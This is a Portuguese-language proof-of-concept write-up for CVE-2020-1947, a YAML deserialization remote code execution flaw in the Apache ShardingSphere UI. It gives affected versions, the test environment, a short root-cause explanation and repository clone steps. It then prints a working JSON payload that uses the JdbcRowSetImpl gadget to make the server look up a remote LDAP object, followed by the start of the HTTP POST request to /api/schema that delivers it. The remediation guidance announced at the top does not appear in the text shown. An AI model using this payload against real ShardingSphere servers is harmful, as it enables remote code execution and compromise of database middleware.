
Prova de conceito e análise para CVE-2020-1947, uma vulnerabilidade de execução remota de código por desserialização YAML no Apache ShardingSphere UI, incluindo etapas de reprodução e orientação de correção.
O ShardingSphere é um ecossistema de código aberto da Apache, um conjunto de soluções de middleware para bancos de dados distribuídos, composto por três frameworks independentes: sharding-jdbc, sharding-proxy e sharding-sidecar, utilizados para fornecer fragmentação de dados, transações distribuídas e governança de banco de dados.
ShardingSphere 4.0.0-RC3, 4.0.0 sharding-jdbc, sharding-proxy, sharding-ui e outros componentes.
Apache-shardingsphere-incubating-4.0.0
java version "1.8.0_231"
Java(TM) SE Runtime Environment (build 1.8.0_231-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode
O console web do shardingsphere usa a biblioteca snakeyaml para analisar a entrada YAML a fim de carregar a configuração da fonte de dados. O snakeyaml permite que o unmarshal faça a análise e desserialização sem validação.
O unmarshal() passa diretamente o conteúdo para o load() do yaml.snakeyaml para análise.
Nesse momento, se o unmarshal receber um conteúdo YAML serializado malicioso, isso levará a uma RCE.
git clone https://github.com/HexChristmas/CVE-2020-1947
cd CVE-2020-1947
docker-compose.yml
Poc
{"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"}
Request
POST /api/schema HTTP/1.1
Host: 10.10.20.166:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8